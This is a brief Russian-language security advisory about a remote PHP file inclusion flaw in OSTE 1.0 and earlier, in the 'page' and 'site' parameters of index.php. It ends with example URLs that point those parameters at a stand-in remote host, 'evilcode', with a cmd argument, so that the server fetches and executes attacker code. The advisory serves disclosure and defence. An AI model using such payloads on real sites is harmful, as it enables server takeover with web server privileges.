Программа: OSTE 1.0 и более ранние версии
Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой систме. Уязвимость
существует из-за недостаточной обработки
входных данных в параметрах "page" и "site"
в сценарии index.php. Удаленный пользователь
может с помощью специально сформированного
URL выполнить произвольный PHP сценарий на
целевой системе с привилегиями web сервера.
Пример:
http://www.site.com/index.php?page=http://evilcode?&cmd= www.site.com/?site=evilcode?&cmd=
